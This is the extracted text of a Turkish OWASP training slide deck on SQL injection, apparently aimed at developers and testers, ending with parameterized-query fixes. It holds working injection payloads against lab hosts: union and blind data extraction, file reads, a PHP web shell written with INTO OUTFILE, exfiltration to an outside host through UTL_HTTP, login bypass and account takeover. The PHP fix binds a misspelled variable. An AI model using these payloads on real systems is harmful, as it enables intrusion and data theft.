Her Yönüyle SQL Enjeksiyonu - appsectr.org fileBünyamin Demir ( @bunyamindemir ) –OWASP...

Preview:

Citation preview

Her Yönüyle SQL Enjeksiyonu

OWASP-Türkiye

Bünyamin Demir

Bünyamin Demir ( @bunyamindemir ) – OWASP Türkiye Bölüm Lideri

– Founder & CTO @ Enforsec Ltd. • Sızma Testleri Uzmanı

– Web, Mobil, Network, SCADA, Wireless,

– Sosyal Mühendislik, ATM, DoS/DDoS ve Yük testi

– Kaynak kod analizi

• Eğitmen – Web/Mobil Uygulama Güvenlik Denetimi

– Güvenli Kod Geliştirme

– Veritabanı Güvenliği

2

SQL Enjeksiyonu

3

'

SQL Enjeksiyonu

4

uygulamalara, güvenilir olmayan kaynaklardan gelen girdilerin kontrol edilmeden SQL

sorgusunu oluşturan cümlecik içerisinde kullanılmasından kaynaklanmaktadır.

Zafiyet Barındıran Örnek Uygulamalar

5

Bana … öğrencilerini getir.

Bana 5A öğrencilerini getir.

Bana 5A veya 5B öğrencilerini getir.

Zafiyet Barındıran Örnek Uygulamalar

6

... String className = request.getParameter("class"); String query = "SELECT * FROM students WHERE class = '" + className + "'"; ResultSet rs = stmt.execute(query); ...

... string className = class.Text; string query = "SELECT * FROM students WHERE class = '" + className + "'"; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.Fill(dt); ...

... $className = $_GET['class']; $query = "SELECT * FROM students WHERE class= '$className'"; $result = mysql_query($query); ....

SQL’in Çalışması

7

SQL Enjeksiyonu Çeşitleri

8

• Genel SQL Enjeksiyonu

• Union Tabanlı (Union Based) SQL Enjeksiyonu

• Hata Tabanlı (Error Based) SQL Enjeksiyonu

• Kör (Blind) SQL Enjeksiyonu

• Zaman Tabanlı (Time Based) SQL Enjeksiyonu

Genel SQL Enjeksiyonu

9

http://www.okul.loc/OgrenciListele.aspx?class=1

SELECT name, lastname , no FROM student WHERE class=‘1’

Genel SQL Enjeksiyonu

10

http://www.okul.loc/OgrenciListele.aspx?class=1' or '1'='1

SELECT name, lastname , no FROM student WHERE class=‘1’ or ‘1’=‘1’

Genel SQL Enjeksiyonu

11

UNION Tabanlı SQL Enjeksiyonu

12

SELECT column1,column2 FROM table1 UNION SELECT column1,column2 FROM table2

“UNION” iki tabloyu birleştirir ve tüm kayıtlar tekil olacak şekilde listeler;

SELECT column1,column2 FROM table1 UNION ALL SELECT column1,column2 FROM table2

“UNION ALL” ise iki tabloyu birleştirir ve tüm kayıtları tekil olmayacak şekilde (aynı kayıttan birden fazla görme ihtimaliniz var) listeler.

UNION Tabanlı SQLi - Tespiti

13

Veritabanı Hata Mesajı

MSSQL All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

Oracle ORA-01789: query block has incorrect number of result columns.

MySQL The used SELECT statements have a different number of columns.

MS Access The number of columns in the two selected tables or queries of a union query do not match.

UNION Tabanlı SQLi - ORDER

14

SELECT * FROM kullanici ORDER BY 1

SELECT * FROM kullanici ORDER BY 2

Veritabanı Hata Mesajı

MSSQL The ORDER BY position number NUM is out of range of the number of items in the select list.

Oracle ORA-01785: ORDER BY item must be the number of a SELECT-list expression.

MySQL Unknown column 'NUM' in 'order clause'.

MS Access Microsoft Jet database engine does not recognize '4' as a valid field name or expression.

UNION Tabanlı SQLi - Tespiti

15

http://www.okul.loc/OgrenciListele.aspx?class=1

UNION Tabanlı SQLi - Tespiti

16

http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT null,null,null,null,null--

UNION Tabanlı SQLi - Tespiti

17

http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT 1,2,'test',null,null--

UNION Tabanlı SQLi - Tespiti

18

http://www.okul.loc/OgrenciListele.aspx?class=1' UNION SELECT 1,2,@@version,null,null—

Hata Tabanlı (Error Based) SQL Enjeksiyonu

19

Hata Tabanlı (Error Based) SQL Enjeksiyonu

20

Hata Tabanlı (Error Based) SQL Enjeksiyonu

21

Hata Tabanlı (Error Based) SQL Enjeksiyonu

22

Hata Tabanlı (Error Based) SQL Enjeksiyonu

23

Kör (Blind) SQL Enjeksiyonu

24

http://www.davshan.loc/friend_info.php?fid=2

SELECT * FROM friends WHERE fid=2

Kör (Blind) SQL Enjeksiyonu

25

http://www.davshan.loc/friend_info.php?fid=2 AND 1=1

http://www.davshan.loc/friend_info.php?fid=2 AND 1=2

SELECT * FROM friends WHERE fid=2 AND 1=1

SELECT * FROM friends WHERE fid=2 AND 1=2

Kör (Blind) SQL Enjeksiyonu

26

... $stmt = $mysqli->prepare("SELECT F.*,U.* FROM users U INNER JOIN friends F ON (F.friend_id=U.user_id) WHERE F.friend_id=$this->friend_id AND F.user_id=? AND F.verify=1"); $stmt->bind_param('i',$this->user_id); $stmt->execute(); ....

Kör (Blind) SQL Enjeksiyonu İstismarı

27

Sorgu Çıktı Yorum

SELECT database() davshan Veritabanı ismi

SELECT SUBSTRING((SELECT database()),1,1) d Veritabanı isminin ilk karakteri

SELECT ASCII(SUBSTRING((SELECT database()),1,1)) 100 Veritabanı isminin ilk karakterinin ASCII değeri

28

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=97

Kör (Blind) SQL Enjeksiyonu İstismarı

29

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=98

Kör (Blind) SQL Enjeksiyonu İstismarı

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=99

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=100

30

http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),2,1))=97

Kör (Blind) SQL Enjeksiyonu İstismarı

Zaman Tabanlı (Time Based) SQL Enjeksiyonu

31

Farklı SQL İfadelerinde SQLi INSERT Cümleciği

35

Farklı SQL İfadelerinde SQLi INSERT Cümleciği

36

Farklı SQL İfadelerinde SQLi INSERT Cümleciği

37

38

UPDATE CREDITCARD SET NAME='”+name+”' WHERE USERID=1

Farklı SQL İfadelerinde SQLi UPDATE Cümleciği

a'--

UPDATE CREDITCARD SET NAME='a'-- WHERE USERID=1

39

http://www.minishop.loc/creditcard?cmd=delete&cardid=29

Farklı SQL İfadelerinde SQLi DELETE Cümleciği

DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID="+cardid+"

http://www.minishop.loc/creditcard?cmd=delete&cardid=29 or 1=1

DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID=29 or 1=1

40

http://www.davshan.loc/friend_info.php?fid=2

İleri Seviye SQLi İşletim Sistemi

41

…/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,LOAD_FILE('c:/windows/win.ini'),3,4,5,6--

İleri Seviye SQLi İşletim Sistemi

42

http://www.davshan.loc/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,3,4,5,6,"<pre><?php passthru($_GET['cmd'])?></pre>" INTO OUTFILE "C:/wamp/www/davshan/cmd.php"--

İleri Seviye SQLi İşletim Sistemi

43

http://www.davshan.loc/cmd.php?cmd=systeminfo

İleri Seviye SQLi İşletim Sistemi

44

SELECT UTL_HTTP.REQUEST('http://www.bunyamindemir.com/') FROM dual

İleri Seviye SQLi Kanal Dışı

/product?pid=1 or 1=UTL_HTTP.REQUEST('http://www.bunyamindemir.com/oracle/'||(select user from dual))--

171.42.19.32 - - [07/Sep/2012:00:39:54 +0300] "GET /oracle/minishop HTTP/1.1" 404 - "-"

45

abc;DELETE FROM teslimat--

İleri Seviye SQLi İkinci Kademe

46

public Users login (String username, String password) {

Users user = new Users(); ....

ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE username='"+username+"' and password='"+password+"'");

while (rs.next()) { user = new Users(rs.getInt("userId"),UserType.USER,rs.getString("username")); }

.... return user; }

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

47

SELECT * FROM users WHERE username='a' or '1'='1'--' and password='xx'

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

48

SELECT * FROM users WHERE username='a' or '1'='1' and rownum=1--' and password='xx'

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

49

SELECT email, password FROM users WHERE email = 'bunyamindemir@gmail.com'

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

a';UPDATE users SET email = 'saldirgan@abc.com' WHERE email = bunyamindemir@gmail.com

SELECT email, password FROM users WHERE email = 'a';UPDATE users SET email = 'saldirgan@site.com' WHERE email = 'bunyamindemir@gmail.com'

50

SELECT email, password FROM users WHERE email = 'bunyamindemir@gmail.com'

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası

bedirhan@abc.com' UNION SELECT 'bunyamin@abc.com',password from users--

SELECT email, password FROM users WHERE email = 'bedirhan@abc.com' UNION SELECT 'bunyamin@abc.com', password from users

51

python sqlmap.py -u "http://www.minishop.loc/product?pid=1" -f --banner

Sqlmap

52

... String className = request.getParameter("class"); PreparedStatement psmt = conn.prepareStatement("SELECT * FROM students WHERE class=?"); psmt.setString(1, className); ResultSet rs = psmt.executeQuery(); ...

SQLi Çözümü - Java

53

... string className = class.Text; SqlCommand query = new SqlCommand("SELECT * FROM students WHERE class=@clsName", conn); query.Parameters.AddWithValue("@clsName", className);

sda = new SqlDataAdapter(query); DataTable dt = new DataTable(); sda.Fill(dt); ...

SQLi Çözümü – ASP.NET

54

... $className = $_GET['class']; $stmt = $mysqli->prepare("SELECT * FROM students WHERE class=?"); $stmt->bind_param('s',$classNames); $stmt->execute(); ....

SQLi Çözümü - PHP

Recommended